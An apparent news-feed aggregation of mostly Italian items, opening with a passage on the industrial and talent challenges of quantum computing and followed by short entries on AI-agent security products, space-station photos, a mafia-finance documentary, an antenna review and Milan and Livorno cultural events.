Questo significa che, al momento, non esiste una singola frontiera industriale del quantum, ma molte frontiere sovrapposte. Per certi versi, la situazione ricorda alcune fasi iniziali dell’elettronica e dell’informatica del dopoguerra, quando convivevano tubi a vuoto, relè, transistor, memorie magnetiche e soluzioni architetturali diverse. Al tempo, l’industria elettronica era quindi un ecosistema frammentato, popolato da soluzioni incompatibili e processi produttivi difficili da standardizzare. La crescita esplosiva del settore arrivò solo quando emersero componenti, architetture e processi produttivi condivisi, capaci di trasformare dispositivi sperimentali in prodotti scalabili. È una lezione storica importante anche per il quantum computing.

Oggi il settore si trova ancora in una fase pre-standardizzazione: nessuno sa davvero quale architettura diventerà dominante, quali materiali saranno indispensabili o quali componenti potranno essere prodotti industrialmente su larga scala. E finché questa convergenza non avverrà, la computazione quantistica rischia di rimanere in un limbo “proto-industriale”, in cui ogni laboratorio tende a costruire il proprio ecosistema tecnologico come una specie di artigianato scientifico avanzatissimo.

Il problema del talento

La conseguenza di questo fatto è che molti processi produttivi necessari dipendono dall’esperienza accumulata da piccoli gruppi di tecnici altamente specializzati e sono, al momento, difficili da riprodurre serialmente.

La costruzione di un refrigeratore a diluzione, per esempio, richiede tecnici capaci di assemblare manualmente sistemi criogenici estremamente delicati, minimizzando vibrazioni, dispersioni termiche e impurità microscopiche. Si tratta di processi che dipendono ancora da forme di conoscenza pratica accumulate negli anni più che da standard industriali codificati. Dinamiche simili esistono anche nel campo dei semiconduttori avanzati e della litografia estrema. ASML, l’azienda olandese che produce le macchine EUV utilizzate per realizzare i chip più sofisticati al mondo, dipende a sua volta da una rete ristrettissima di fornitori iper-specializzati che, a loro volta, si avvalgono dell’esperienza di pochissimi “super-esperti” in singoli problemi tecnici altamente specifici. 

Il vero collo di bottiglia “industriale” della computazione quantistica non riguarda solo le macchine, i materiali o la fisica, ma anche – e forse soprattutto – la disponibilità di talento tecnico adeguato alla portata della sfida produttiva che il quantum computing rappresenta. Per costruire un computer quantistico non basta infatti disporre di buoni fisici teorici o di eccellenti ingegneri. Serve la capacità di integrare competenze molto rare e diverse tra loro: criogenia estrema, scienza dei materiali, ottica avanzata, microfabbricazione, elettronica a radiofrequenza, software di controllo, vuoto ultra-spinto, chimica ultrapura. E soprattutto serve farlo in modo coordinato, continuo e riproducibile. La vera difficoltà non è solo inventare una tecnologia funzionante, ma costruire una massa critica di persone capaci di trasformarla in un sistema industriale.

Per questo il futuro “industriale” del quantum computing è anche un gigantesco problema di scala umana. Non basta avere qualche centinaio di ricercatori eccellenti sparsi nel mondo accademico. Affinché la tecnologia diventi industriale servono migliaia di tecnici, ingegneri e operatori altamente qualificati distribuiti lungo filiere produttive estremamente sofisticate (un fatto che la Cina sembra aver compreso prima di tutti). Servirà cioè trasformare competenze oggi quasi artigianali in capacità industriali diffuse.

La scienza alla base di tecnologie importanti può certamente nascere da un piccolo gruppo di persone eccezionalmente dotate, ma un’industria richiede la capacità di riprodurre sistematicamente quel livello di competenza su larga scala. Ancora una volta ci si può rivolgere alla storia della microelettronica per capirlo. Il vero salto nella produzione seriale di hardware informatici non avvenne infatti quando un gruppo di pionieri ai Bell Labs inventò i transistor, ma quando gli Stati Uniti cominciarono a formare enormi quantità di ingegneri in grado di capire come funzionavano e come si potevano migliorare transistor e circuiti integrati.

In questo senso la vera sfida per il futuro della computazione quantistica non è soltanto costruire una macchina capace di funzionare. È costruire le condizioni industriali, economiche e umane per trasformare una tecnologia sperimentale fragile in un’infrastruttura produttiva stabile.

L'articolo La sfida industriale dei computer quantistici proviene da Guerre di Rete.

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Zscaler porta la Zero Trust nell’era degli agenti AI

Sebbene il numero di casi d’uso nel nostro Paese sia ancora molto basso, le previsioni di tutti gli esperti dicono che gli agenti AI diventeranno i veri “operatori” dell’automazione dei processi in azienda. Il problema è che chi dovrà gestirne la sicurezza non ha ancora l’esperienza necessaria per farsi un quadro chiaro di come questi […]

L'articolo Zscaler porta la Zero Trust nell’era degli agenti AI proviene da Securityinfo.it.

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Aurora Australis

The aurora australis arcs over Earth during an active solar event in this photograph taken at approximately 11:32 p.m. local time from the International Space Station as it orbited 271 miles above the Indian Ocean southwest of Perth, Australia on June 5.

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SI PUÒ BATTERE UN RIDER DI DELIVEROO? (spoiler: no)

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Ho provato a sfidare i rider di Deliveroo e Glovo con tutti i miei mezzi! Se Riescono a battermi hanno 10€ di Mancia! Spoiler: sono riuscito a batterne solo uno 😫

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Radioddity HF-010: L'Antenna HF Portatile Definitiva per POTA e Radioamatori?

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La Radioddity HF-010 è una nuova antenna HF portatile multibanda che promette copertura dagli 80 ai 6 metri, montaggio rapido e ottime prestazioni in portatile. Copre da 3,5 MHz a 50 MHz e supporta fino a 100W CW e 150W PEP SSB.

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Livorno: Articolo 11 – L'Italia ripudia la guerra, 18 giugno alle ore 19:30 Teatro Officina Refugio

Iniziativa culturale "Articolo 11 – L'Italia ripudia la guerra", in programma il prossimo 18 giugno alle ore 19:30 presso il Teatro Officina Refugio, nel quartiere Venezia di Livorno.

L'evento prevede la proiezione del documentario realizzato da Simona Tarzia e Fabio Palli, che affronta il tema dei conflitti contemporanei attraverso l'analisi dei flussi commerciali globali, della logistica portuale e delle dinamiche economiche che accompagnano e sostengono gli scenari di guerra.

La serata sarà arricchita da un momento di confronto con la partecipazione di:
Fabio Palli e Simona Tarzia, autori del documentario;
José Nivoi, CALP Genova e Coordinamento Nazionale Porti USB;
Alessio Biondi, Coordinamento Nazionale Porti USB;
Mario Spallino, fondatore Teatro Emergency.

Giovedì 18 giugno 2026 – ore 19:30
Teatro Officina Refugio
Scali del Refugio, Quartiere Venezia – Livorno

Proiezione del documentario "Articolo 11 – L'talia ripudia la guerra"
A seguire dibattito con gli autori.

Ingresso libero.


In allegato la locandina con tutte le info.

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Follow The Money : Totò Riina— Palazzolo, Diamanti e Miliardi mai Trovati

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Il 13 dicembre 1984 un broker lombardo entra in tribunale a Lugano e comincia a parlare. Per la prima volta, i soldi della mafia hanno un nome, un percorso, una firma. Ma i miliardi di Totò Riina — nascosti tra diamanti africani, conti svizzeri e nomi eccellenti — non sono mai stati trovati tutti.

Totò Riina ha governato Cosa Nostra per ventiquattro anni da latitante, in un appartamento di Palermo sotto falsa identità. Il suo braccio finanziario, Vito Roberto Palazzolo, costruiva intanto un impero tra il Sudafrica e la Namibia. Il ministro degli appalti, Angelo Siino, garantiva le percentuali su ogni grande contratto pubblico siciliano. Quando Riina viene arrestato nel 1993, i sequestri sfiorano cento miliardi di lire — ma lui stesso, intercettato, dichiara: "Se recupero anche un terzo di quello che ho, sono sempre ricco."

Cosa trovi in questo video:
✔️ L'arresto del broker Palazzolo a Lugano nel 1984 e il crollo della rete bancaria di Cosa Nostra
✔️ La latitanza di Totò Riina a Palermo e il sistema degli appalti siciliani gestito da Angelo Siino
✔️ La fuga di Palazzolo in Sudafrica, i diamanti angolani e l'impero costruito sotto apartheid
✔️ I lingotti d'oro e diamanti trovati a Castelvetrano, custoditi da don Ciccio Messina Denaro
✔️ Il ruolo di Ninetta Bagarella nella gestione del patrimonio sommerso di Riina
✔️ L'arresto di Palazzolo a Bangkok nel 2012 e i segreti che non ha mai rivelato

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NAMA Summer Festival: un mese di appuntamenti gratuiti nel cuore della Martesana


Musica, cinema, spettacoli, incontri, laboratori e iniziative all’aperto.
Con la bella stagione ritorna uno degli eventi culturali
più interessanti della zona nord-est di Milano: il NAMA Summer Festival 2026,
in programma dal 12 giugno al 12 luglio al Parco della Martesana.


Dopo l’ottimo riscontro ottenuto dalla prima edizione, la manifestazione si amplia e diventa una rassegna diffusa capace di animare diverse aree del parco con un programma pensato per favorire cultura, condivisione e partecipazione.
L’iniziativa è organizzata da NAMA – Nuovo Anfiteatro Martesana con il patrocinio del Municipio 2 e il supporto del Crowdfunding Civico del Comune di Milano.


LOCATION
Il centro del festival è il Nuovo Anfiteatro Martesana, situato all’interno del Parco Martesana, tra via Valtorta e largo Martiri della Libertà Iracheni Vittime del Terrorismo.
Negli ultimi anni quest’area verde è diventata uno dei principali
punti di riferimento per la vita culturale della città.
Trenta giorni di eventi a ingresso libero
La manifestazione propone 31 giorni consecutivi di appuntamenti,
ideati per coinvolgere persone di tutte le età e valorizzare uno dei parchi più frequentati di Milano.

Il calendario prevede:
concerti e musica dal vivo;
dj set e serate dedicate alla scena elettronica;
proiezioni di cinema all’aperto;
incontri e approfondimenti culturali;
workshop e attività creative;
esposizioni e mostre;
iniziative sportive e dedicate al benessere;
laboratori per bambini e famiglie;
spettacoli teatrali e performance artistiche.

L’obiettivo è offrire occasioni di incontro e rendere la cultura sempre più accessibile,
favorendo la partecipazione della comunità locale.


APPUNTAMENTI ATTESI
Tra gli eventi già confermati figurano diverse serate dedicate alla musica elettronica e alla cultura clubbing milanese.
Ad aprire il festival è stato l’evento Botellon,
che ha dato il via alla stagione estiva del NAMA con musica e intrattenimento all’aria aperta.
Tra i momenti più attesi c’è anche il Toy Tonics Summer Jam, in programma il 20 giugno:
una giornata interamente dedicata alla house e all’italo disco con la partecipazione di dj internazionali, food truck, attività outdoor e accesso gratuito all’area open air del festival.
Il programma comprende inoltre incontri culturali, iniziative dedicate al benessere e momenti di aggregazione che accompagneranno il pubblico fino alla conclusione del 12 luglio.


ACCESSO GRATUITO
Uno dei punti di forza del NAMA Summer Festival è la sua accessibilità.
Tutte le iniziative all’aperto sono gratuite e aperte a tutti.
Per alcuni appuntamenti ospitati negli spazi interni o nel cosiddetto “Giardino Nascosto” potrebbe invece essere necessario possedere la tessera associativa NAMA,
richiedibile tramite registrazione online.


L’edizione 2026 rappresenta anche un importante esempio di partecipazione cittadina.
La raccolta fondi promossa per sostenere il festival ha coinvolto circa 960 sostenatori, ottenendo uno dei risultati più rilevanti tra i progetti finanziati attraverso il Crowdfunding Civico del Comune di Milano.

In una Milano che nei mesi estivi tende a svuotarsi, il NAMA Summer Festival propone un’alternativa ai grandi eventi a pagamento. Musica, cinema, attività culturali e spazi verdi si fondono in un format pensato per creare relazioni e mantenere vivo il quartiere della Martesana anche durante l’estate.
Per chi è alla ricerca di qualcosa da fare a Milano tra giugno e luglio senza spendere nulla, il NAMA Summer Festival si conferma come uno degli appuntamenti più interessanti da inserire in agenda.

L'articolo NAMA Summer Festival: un mese di appuntamenti gratuiti nel cuore della Martesana proviene da InfoMilano.news.

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San Francisco's Patchwork Streets

A period of unsettled weather brought scattered showers and thunderstorms to California’s Bay Area on May 27, 2026. That afternoon, a break in the clouds left downtown San Francisco and nearby communities beneath mostly cloud-free skies, allowing an astronaut aboard the International Space Station to take this photograph.

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Black Eye Galaxy

Easily identified by the spectacular band of dark dust that partially obscures its bright core, Messier 64, or the Black Eye Galaxy, is characterized by its bizarre internal motion.

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